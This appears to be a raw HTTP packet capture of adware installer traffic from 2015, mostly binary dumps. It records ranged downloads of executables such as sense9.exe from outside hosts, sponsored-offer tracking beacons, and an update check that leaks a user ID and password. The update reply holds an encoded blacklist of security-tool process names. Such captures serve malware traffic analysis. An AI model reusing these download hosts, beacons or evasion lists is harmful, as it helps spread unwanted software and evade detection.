............>.#.....W$.o.[...n_.hB"......g#mYw..v.M...-s.;..40...c7
[.I..N.2..5......6I...mZN...r..\\.?.(.`k........d.>[email protected](.
,..=X@2g....}(?)...ot`.M]1...i(.......y.....?.h.T...S.3._..RN?...K...:
[email protected]^K.......:......q|u.......
....t...J.TS..i..c6..l..B........=.5.Gx..H......<$`....... @...Pp..
.\p.`.....f..."[email protected]....)r...y..W.=.O_
.~...X......29...M.T.h...a.....r..3..D.........j4....w.QT......i@.:.%.
q.H.r..b..SZ...O2I}....u.m........pL.&B_..^1....M...Q&.....s..j..W.O..
q......."]..T~..x.....is7";c.O.....G.18..$.....>.....6x.t.j.....N..
.X./j.-_.Q..Vk..k..|.";;...N..^C.:....t]..xg-:*.|.... ....0...:.%..a."
}.3.NRb...k.0...rw}....[[email protected].^..A.E...3.....e....[...=.
....J.....*....5 ..........`[email protected]...@Fe6L.....".....%R=...G......
Je..DhzU..7..lxy...a~...M.L-<o...B...3..HrAL^.X....E.V.G..#.cR.^b..
4..<E..N<7.8y..,e{...n;.e..bjn..<.;...(K.{G...}mh...XJ...``:n
....$.^.N...O.....\e......C.RQ..-.9f).*.....2.3n.4.(........7.Z!.. #t@
.d.#...}..R.~^cl..|OK.....PH].)...t...W...".......M.Z.<...FWB.*....
S.2...7....u....9.tz.........&o..H.g.^.......9.q..,..H..V8QIV6)..V....
..O..h........]q[.. [email protected]@D.z.Zp.0t..f.../.G].!....i..Wk.~....B.
...$h..G.5D..!;.{...d!O....Jk..zR-............8..s..}...EH.C..].(.....
.. .....0xC.NW...=,4$.?.N.V..C.}...3.5...h*G.\...........:)I..Mo....t.
..vJ..6.uc.-..5|@.U.UP.".@.:...V.dl.a..c....f....~..T&..y..\ Y...\..n3
..SN7.<....p..o.j.5....O..^.8,.ZB.d..Q.|M.....>CwT....<*.<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=9250000-9499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



.5....'Z.P....u.{x....=.h.JV...@......]...j ...A........Bz...R...T^.c?
 ...{4.s.... [email protected]..{...-;.........9. 29..@./.....l.1.......Y..L..
.LE.*..Z ......\MW...W;......I.y...Kjq..?....,(.m....C..2..V...C...g.W
.Z...Op.....d........R.....D.f..nwH...G{.X.g..1...$.......]`.cp@......
..}2.TK./..S2*.f...,{.."V..6.g..j.W}F1p.WqD...~..`......./.D...KK.....
3..h.g.K...9..0RT6q?. )_...6.!o...`cJ.!.#k.,y..I..........>.....'8c
[....V69g7.... @.b..........zy.*..$.rZ..>i.3..^$K8..v..-C...v.c...M
..~"%.l..24!..'.(.p.-.0......`Z...O....>L..p.....C..."G..Y....^H3v.
..v.Y............ -M..{.....E^.........A....e3".E...P^..V...<_?.P..
7......S0...).B"....-i.S......./......6...L76......0vyH..]..-)...M^p..
...."!...V,.UcLie...s.....{l.-.........NV...QZ..y....j...H..2.${`...w.
.....{.XB.....e.p'.Dy...n...b.r..1.3..>4...<=...X~. D'.......K-l
.-.^[email protected]../.I.'..[........j..04P..p'[email protected]_.:~..D
.v.....Rt`...t..5%..UuF...xA5!PUO.......F..M.....v..-..i/.........J..3
.z......q^.".w.m.6!av{[email protected]:..f=C....2...>..i[.o.M..
..._.D...pw}.O.m.d.Xt..i.~.%.].R..:.W.:/.n.MI...1b;...iw.=..i.:....A.&
lt;.}F|F}..<L..."E.0....aT......1o..ZY..F'...#..:%k..o.80..a..[1H.]
...{...5.....q._...........X.t.....qM.l.y..G...{J...P....w.....t....,.
.Y. uo$.........eV....s vgg...2XCZ@.......%.............A.l..e.I....xi
..v.o.V.!>. ...x.e...wX.!`.Z..7Y....&s...V-C{.Z8.{z..F7Q.....G.6w..
..XZ..*U.(g..5v..Z....V..b"...z.U.....,..(.9m...}.r}Le..9..3...*..hK..
..\9X.1.HrX......^.s.}.I.}.HCgA..v.=.......b.expq.&.q.4n.,`.O%....<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=9500000-9749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:42 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429324421"

Last-Modified: Sat, 18 Apr 2015 02:33:41 GMT

Cache-Control: max-age=3489

Content-Length: 250000

Content-Range: bytes 9500000-9749999/11067516

Content-Type: application/x-msdownload

X-HW: 1429342533.dop010.fr7.t,1429342542.cds023.fr7.c

Content-Disposition: attachment; filename="sense9.exe"
...F........w....hX...t.s.....'.x;k..* [.N.*..P..u.k.f.....=;....?....
.h$..|..D<."...N.mU.eD..h..,S.d..h..$..Y/.....hCW0c.O.".....;.kBq.Y
..H.?JaM..Q..X......1.............D......Hx...j.>[email protected]"........
......`..&jbfJ{&..!.'.-....v...eu.S.T.....[.o.......z..R..ye....6.Y...
....%@zU.|._K..Wj..q.../1.NIkI1...%zY..*x...l..r..L...{k...f.;.._... .
..\[email protected][email protected].
*..E.....;E....T.3...0.....o....b.o..*....d6.W..V....<s............
.LM......Rk...T ....m.>...kj.R......l..E...\..X.n.....j....Ov.hs...
........< ;./uQ>X..L...#ee..m...d.5.....H.oEN.k.d..z....t..rl.."
.......TQ...qH...}./..............~...bg(.7E(>t..1.!.nG....ci.Rkr..
,.bG....7.....~.....me.!.R......}B.......8.&zk......u=N...(.L[...G.3..
..3_3.p6.o..x^.QZ*u..\.M\....,.....m;...rL`%.Uf.v.W.....7O\.l...f.....
...j.......[.D.^....t..&3..J..%.sl...N..m.j.E.Nw....|"7.`...W.........
C.|~>.a....4H'...<...X.......-UJpt..$..%..S=E^4..7.J\c....5.....
...R......6......Cg.7............>..P.%{....n.b...X.R^pt..u........
.`>m......A.......!..4.F.7.i....p.....4..yp..BQk.d.|.......AZ.....4
...'........W{....0a....9........8[..#.\.6.F..P4.Rg.t.Y....}e.'.|Y. ..
zeT.O.6(...!..aU...N.T ..4r.........n........LL...K.....iUw.Y;n.......
..q6...ze......~....>....I.C)...._....y..........,1...*F....../....
...'.WN..nYh..s.Ji...{.....mx....._`k....;...a'y...........A....*.f..R
:.O........{;.\..C..b.;....Y..<[email protected].]Nn....k..1.D..T..3
[email protected]....).....?....bk%..e.-F.............~J.a<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=10500000-10749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:43 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429324421"

Last-Modified: Sat, 18 Apr 2015 02:33:41 GMT

Cache-Control: max-age=3488

Content-Length: 250000

Content-Range: bytes 10500000-10749999/11067516

Content-Type: application/x-msdownload

X-HW: 1429342533.dop010.fr7.t,1429342543.cds023.fr7.c

Content-Disposition: attachment; filename="sense9.exe"
UiH.<...2...?...5.%.8...:.hh.J..B. ...;..!.5..|.....;z...z...|....B
.%._.V.......(...........-!t.....S..R...x.....=...H,.I;.t..r.B....N.. 
`C4.X.Ui..i.<._7.......v.R%...."..k'[email protected]./6.s^$6...Y.Su3.:9.@@-.
.l.hS..8\\~.N..5.y....{.?........_.....H...... ...^.Z..._N............
..............W.*..C......'...{.E...5.l.u..u..q6.&..]..^.......b..(...
"..%.y'...O..&.BKe~.Bx/.U.....a...R.....'.7......X..Y..:=8...x..sNtG8.
$;...>...=.B....E..?0.......[....v?m...x..&.....\..^......r..ru....
.....q.Z.._.N.-,~Y....Z.....'.w.E.7...........l.5#mI......"i.S6.c..!#C
.T......[(...P....&.6....]Q.Z.....BO_..Z...0.1.1.'.E..".Zd..t...tG..y.
...}!m%..Y../.2.<....I.......S...@.{......Tl......R..)..i0.R5..EJR.
...[..rG|.m...B.V..(...if...e.A..4.B......4..#........8%#..b.qd.A..>
;..-{.g...J.9:..G=.r.C.k........sD..~.0.......=.....;..f8..aM.W<...
r.[[email protected].&.4..w..>.X\.d,.....C.j_.)i..x..
N...:.HGv.UZa....f..._.M"y}o..(..._... .....X...H.....x.G.......y.r..j
..c........`......;...N..F...........~d..~U..L..d.......H....?ax /J.&.
......*....H....*. .D:WD......N.....=.......(......9T}>...2..P.....
r....x..?E_..R...7.*]..d.H..Q_.....k....:...`.EFXs.v..)JG......m&..S..
....!jV...f,." .....3...R......m........0..h..4=;)X...i.. .....m.7...j
u.Kv...gS........x..0b.\$f...V..l...mA..D_..<%#.D0.'.....%...6:..w.
.b..o..n......c..`..B..oT{3..t.?.0n.Z.8;...~.m....^.f.f.'s z]..3 ..r.;
x.t.%.....R...8..nk..jz.s.........$W..{.)....c.(...N.Ag`..):...i......
.,....k.|.`M`.0.Ic4..9..".$5\.B.d#...[yb4......hL....J5...=.,..:..<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=10750000-10999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:43 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429324421"

Last-Modified: Sat, 18 Apr 2015 02:33:41 GMT

Cache-Control: max-age=3488

Content-Length: 250000

Content-Range: bytes 10750000-10999999/11067516

Content-Type: application/x-msdownload

X-HW: 1429342533.dop010.fr7.t,1429342543.cds023.fr7.c

Content-Disposition: attachment; filename="sense9.exe"
..[....1_...?.....]y...........,5.,.....D(.n...K `....].9.....XK....)-
6..z.*..!7H....P..W...mc|.>...*.;..x.6..~.dP..B..{.()F.c...1....leQ
...F%.Jp...j..a.(?Af.,...{..an.UOhG.#._.pkaG.....y.......2aL"...A.C.IA
6.%.8......#....{..1...*...I.A...............Y..(/...w.6..:..}..T.....
Ba... .5......G.....[...z.;;.N....QF.?.UV......G.:...u.......0...qv..N
.q.........%.. ..).^........&.:..2....M]h.x...........uE.7`A!E..j.....
...Q..'....t......N..d......$....Y.....`O...uj....r...C..N..]4I.s..y.-
...n.....S..^.....g.Yt..@@l.^^...A.....Z..u....N.0.....R...&..b...?.&g
t; x.qW...".n<...l..M.I.k.!@.]8.... .n..S..V3.lh.Z..9.R.j........-.
.R..0..Xq}9c....\p....(.5!......4....0.p-...\. .E.gh..r...Q.o...q..^.L
.F*..."I.L. ;.]Q:...,..X...hl.1.z.[...)..4f|...m....]|..?..:q]..f...NG
..7........]@..WN....wx....$.O.D20oS78~...(..............[.1....WQ..x.
...B......^yW...i\XYS.Zw..s....w... ...,.I........".......(..Y.V.5.%J.
u.0.X.h..0....K... J...'...iqqU....S.!....?(d.t!..)....^=J.R.....8Is..
,*_.F.R......P.5/...accD#....&YH5....w...U.].....2......$}..}j.a%....E
..".~.....R.....].|r.....$...z...*..Xd.V....9J.o.}.r...>..|.t..e...
yH...)..8..xS..J.c....rhGa=).*..I...>...'.@:Nag.).A..'...........Cv
..b.G...u80U\.P..].X..|....]...(...cG..Ui.]....I.........|XKW....JJ\Z.
I.b..C......W....Z.&t^.......(.E...".IU..._.....F}.:.{. .h.......:.0..
H........3..Qv...4k...}..(l.".....Yc=...=?/A..v.h.G*......gp.. B..s.1K
3...h..a.x.2.DF).6|.S...h1.d..._..s9.*...-..[x...#...#o.-}@Xvt......Tc
..`....H.*/1*......t.4.r..E\...!.Fg1....A..7.:..A.o.n.4N[N.Zm....H<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=11000000-11067515

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:43 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429324421"

Last-Modified: Sat, 18 Apr 2015 02:33:41 GMT

Cache-Control: max-age=3488

Content-Length: 67516

Content-Range: bytes 11000000-11067515/11067516

Content-Type: application/x-msdownload

X-HW: 1429342533.dop010.fr7.t,1429342543.cds023.fr7.c

Content-Disposition: attachment; filename="sense9.exe"
j.}..o..u...^a>\K......?...\....Z.....L........S....3.`......._.wm.
..m%.zM.~..$...M:R.!......`aK<.dp.l...Yh...*...v...8.|..!9..0..*.!.
d...6.$.Ml..j....Z....\...i. .....I@p?..0........[6R...zl..<.9.`A..
..J.....be.b.n.lcn..>^.._)Q...H.J.B..,...G..O/..A#.0...|L...%...|..
......l.......>.@v:...<..9Bb.|..\.....-...'.L.R....2.N..p......&
lt;*h`z.......(..3A.....F....)x....*D.GQk4Y...c8.. .MG.].j.a.b.".a.yU.
.>..elX...Z.. ...,.k9........7...u...<.9..$..dd.. ......*V..W...
........n...Mlv..r..b...a.&....-...].u.l....]M.....C%j..B...i.c..i...&
lt;..)G/...J.f..!.R<.....Ae.f..l....f....P...v...!...&...]*...8..{.
sQ.@...(..}[email protected].?..z.&. .;2)[email protected]. s.,j.H.E3..
.y#..c.e|....._. ...\...?.2....#...\..-I...5..\#..\..t.P..hH.....oP`..
...^9.wc..H...C. .[.......5,.3.v:......k#J...).?.%.p.mY^o....h..9MGlt.
6...|..2.!I....f.'.<...m..F.Q.u..yz..\wYM..........4.&.t.{r...V..&)
...\I.S.. ...ER.]M.}...........M=...Q7..../..b.B._A...`aA.}B{..S.m..[.
0.s...k....s..(.[....D..$Q...F9....e.N.B...MX)|..=...):.7-?.\.|....r..
[email protected]...|.& ...S.E..i..(.I..E.gUj.
...t.".a....=.7.];.*..=...>....!.......U.fZ....LU...P.u.8..y..F.h*.
....?Eq...[`.{w....8.*\.q...i./...C}...T.E.KA.X.sk]...(`.........=x.W.
.,;m....... ....w...0O.|...q...}.s9...@t.\...PW.2PE...$ [....h....zm..
..[.k.w,.........6.!.-.8.C....5U..I%..9o`fl.. ..$.#...........OLp....*
.....~\.x..Q..C....T.vC.f.7Z..y..q....]4.lR.Z7..|..,t.J...8gI..4..g..N
AQ..>....-.Vyq.t.>.f.....n*....;.....L^..=....'....^g.... }U<<< skipped >>>

GET /sponsored/swiftrecord/eula-swiftrecord.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1tlvbabel9f8s.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 12 Apr 2015 04:59:17 GMT

Last-Modified: Wed, 11 Mar 2015 08:59:19 GMT

Expires: Sun, 12 Apr 2015 05:09:17 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 182

X-Cache: Hit from cloudfront

Via: 1.1 38342e76ee3a325e32291f04943992d6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gl5DmiwBMkTA2b0arfeB6GW4yp6jzUis3bNJEOq-awVrXT78KBA40A==
36d5.............}.r....s. r8.c*....n.r..!..`....K..8@ [email protected]@.gb".Cf~
..d.Z{.K. %_:b......'.e_......i.d...]..f.....y...;<>............
..y...U1X...d5.....q.r..._..o........;..w....g............j...........
...a^........r8...7.........u....zu{..|.....qZ...E...U.yu<.k~..M5~.
...7.jZ-.......w.h6\.M.o.W....dU.....|S...l8....|uXO..>}.z.9}v;.M..
o...rX...-.._...o.JN.V~......b..N1...G.~U..i.........U. {/.^hh.Z3...I.
....].)...c.|c?..X{..<....[SL... ...../...?./O..~.W.....v.z.k./...&
lt;.-......E..?h..w........=.|h.......=R.....{~.....{......t/O;.N...P|
x.9y..N..O.....{...Z.:...89o....>..........>>.\`..3|......6..
k.;.....o.;............~....=..\...4U..V..d^..'u....k.mq>....,Zw...
..U.......^..eY...X.R..E5/@U....0.]..rT-.|.,.N..b8..;(.....Z.{........
....0.l......Xc.uQ.......j........c.....t2...._....Jj......XV.....z...
.v..........G.....G......S...u7...W....ZN>.G..U..<..&....;...C..
.-..rY.G%..d..i.9....d:..s.W.Q.6xY..]j?..K.......O.^/.>..p...&.d~W.
c.......p9.?(n..y.<.5|^a..?..Ln.p.8...wh;z.....w..l..jU....M......G
.3. ..n.|........x(o V....5...O.J........z.....}.x9H~<......~.W..r|
[email protected]..@.$.H..zP/#..9R....B..X.
4t...C}P,....s....H,d..tU.6n..@qgY\.E.....#.......g.8.0.bY..Y...b..1.e
.X...V.=.~.,..(L....AW..QY.<..W.9.....#.4&...| ........L.d.m._8....
.D...EU$..r.Zc..z..f....f.6..(.IRX.'L.[].k..i..WH...o}h......8}mo9...u
.b.P...&.i..Tkl.S.18...B.- .1e.....6.v=. X0>..~.,]Q....F.U...#q...%
......4....U55.r.3R................i1 ..!..u..^.:...II..U..N.<N<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=0bab2a10-0a3c-4ff7-bea3-06b298294831&Password=t4GCMrk5&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429342608&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=vh3c4yyc30gmbcnaspwwgpn2


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 547

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Date: Sat, 18 Apr 2015 07:36:49 GMT

Connection: close
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...

GET /css?family=Abel HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: fonts.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/css

Timing-Allow-Origin: *

Expires: Sat, 18 Apr 2015 07:36:32 GMT

Date: Sat, 18 Apr 2015 07:36:32 GMT

Cache-Control: private, max-age=86400

Content-Length: 155

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alternate-Protocol: 80:quic,p=1
@font-face {.  font-family: 'Abel';.  font-style: normal;.  font-weigh
t: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT2a1878zysq9
2S8_9w.eot);.}.HTTP/1.1 200 OK..Content-Type: text/css..Timing-Allow-O
rigin: *..Expires: Sat, 18 Apr 2015 07:36:32 GMT..Date: Sat, 18 Apr 20
15 07:36:32 GMT..Cache-Control: private, max-age=86400..Content-Length
: 155..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN..X
-XSS-Protection: 1; mode=block..Server: GSE..Alternate-Protocol: 80:qu
ic,p=1..@font-face {.  font-family: 'Abel';.  font-style: normal;.  fo
nt-weight: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT2a1
878zysq92S8_9w.eot);.}...

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=appshat_madness&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=4&index_in_screen=1&index_in_session=4&0.45088814072472344 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:35:21 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 18 Apr 2015 07:35:21 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=1&index_in_screen=1&index_in_session=1&0.6714286301451131 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:35:22 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 18 Apr 2015 07:35:22 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /ajax/libs/jquery/1.7.2/jquery.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Thu, 29 Mar 2012 18:19:50 GMT

Date: Wed, 15 Apr 2015 17:44:32 GMT

Expires: Thu, 14 Apr 2016 17:44:32 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 33673

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 222720

Alternate-Protocol: 80:quic,p=1
...............F.?..<E..).b..(.........v..i.......E.,^"Y*.E......m|
#2...,.g...n.q$....;..v.f.y.o>.}...W....=.z.jq.77.Mq9/.|....^..?.[.
.r..c.....,.....&..m.g.^...\f.{z8....\e..O.<..?..^.O....oe~....u...
;."...U.w.....t6.....xs.Di/Ye.T.M|....]......:_foW~..<.z.v.{Y.]..O^
0.z.|......*DO..j.{.=_{.Cz....-U.n.x..=.../. '.x.{.Jo{|..j....n..l7..4
/.....T.{.rZ.3........C.jU..<..p.......'.V....e.J........?.m....fG.
..{......P.....t..?.B.X....k..s.c.K..-.".pS.n..P.6...:.Y.T5.4\.W;...U.
.44....;..,e.=...^..S?]c.i.C..O.h......_.....GK5.M..8....4.4.E..Q.<
...m.{[.....O.....=.lI..8....n....2.?.{/.....?&....}_...v5.....w..}..G
..w4.....l.V.......i.mw..&4Yi.@[&..........i.>.S%..aA0..fQ.hK..pP..
....<_......(.]..\-.R..z0Ym."....rPt........o.g..zM..!.P...p...Mi.l
w.rYx..|4..V.......0F..|4....<....1..-..S/....|Nx...;........".w.3.
{..Q>Z.i....x.Ut...:Jx. .3..f..G@Z.:.y..g4\j.v..B..]>...c...[.. 
z......\...:\.%.p...AB{[email protected].{?..d.[..dC....h...!X.V.w.[Q..
...:.h9\.i...........1.Ae.yr.W.........M.]..k...y...c.y.J.P..O..G....i
AJZ.{[email protected].}0.........^......&..5.....`.F.Y....<.......
....@[email protected]..`......V....78M.X yM.b.x(u....Q..f.l...f....E....
3.#..l.l...`1Y.t.N...M...o..ZR!.D.<..}.JFJ.bF..A.z.....z3.a....x.D.
..S9.D....N.n..j1...)f...$..?.z.Q>.....Q.3.'.n..P....x..|..v.....&l
t;...F..~..M.eh)..Q6..x..]..O.......G(@..N.H.... .Ip../.pjz....h.....t
UD..V.h2..........].Y4.N5........7j.}...3. [email protected]..}n4Pz..5.....h&
gt;...$...X0....U..S...u;...BV.A._ F.P.........T.F.6..I..b.%*..:..<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=419580-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:36 GMT

Content-Type: application/octet-stream

Content-Length: 251748

Last-Modified: Wed, 15 Apr 2015 07:16:46 GMT

Connection: keep-alive

Expires: Tue, 21 Apr 2015 07:34:36 GMT

Cache-Control: max-age=259200

Content-Range: bytes 419580-671327/671328
.<...Q..8...QRP.0>.... ......^]..u...4...Q..0...QRP..>....(..
....^].-rF.?rF.hrF..rF..rF..rF..rF.=sF.QrF..sF.........U..V.u.........
...Z=..............0.....4...^]..U...E..M..U.............].......U...E
..M..U.............].......U...U...|!.M.....r..E.......@............].
.E............................]......U...U...|!.M.....r..E....... ....
........]..E............................]......U.........T.H.3..E..E.S
VW.8..............3...t.....x.....d.....h.....l.....p.....\.....`.....
T.....X.....P.......;...U. .4......U..E. .0....E..5P.G..E............`
........E..U........z....................M..U..m.... .................
.......z....................E..M..m....................9.......j....M.
..P.............9M.|....U.;U.v..E..M....E....P....E....T..............
.......................}...I.........|..........U....E......E.........
.......M.RPQV..:........E...u.......u....P....M. ..P......T......T....
.|....].x-..=7.A.v$..|....E..5H.H.....................^j.h....SP.Z*...
......RPSQ..................2........................;.|...;.w........
................................tk............R......Q......R......Q..
....R......Q......R......QR......$..t.h4.H.W..=....._..^[.M.3........]
.........t].............. .\$........\$........\$.........$Q......$..t
.h4.H.W.u=....._..^[.M.3........]...P............xF................t.Q
P..0...h..H.P..........0...h`.H.Q........................ ............
....................................PQVS.......\.....`.....|[.....'..v
.j.jdVS.....R......P.......#..|2....t,............j.jdQR.2(..VSRP.<<< skipped >>>

GET /css/style.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:31 GMT

Content-Type: text/css

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Sat, 18 Apr 2015 08:06:31 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
53f.............X.n.8.=._..1....%.8../s.o.(..9.D..;I.....&jq...4.R.X.{
....$.Z......f.o3JxUN.7w3....x....V...g.x%..UF..R.c]$G%............^..
...b...qvUQU.:Y......K.}/k.......|..1.....n.-S|.8#......l......../..B&
gt;'...#.]../.:!.w.7/......g^.C....3...J...|.e.b...=....2...._...wp...
7....j....I.ee.a.L..{3Y7/....d^....Z.........f6.L..jv.....ql.mA-...Dau
......x.^...........8......:.l..u]1x..7`Z....5.5.`...?.n...-..d.)..)F.
...z..n......"3.Bh...E.r....Nl.W..R%...k..I.... 49`...{ue>.'....L..
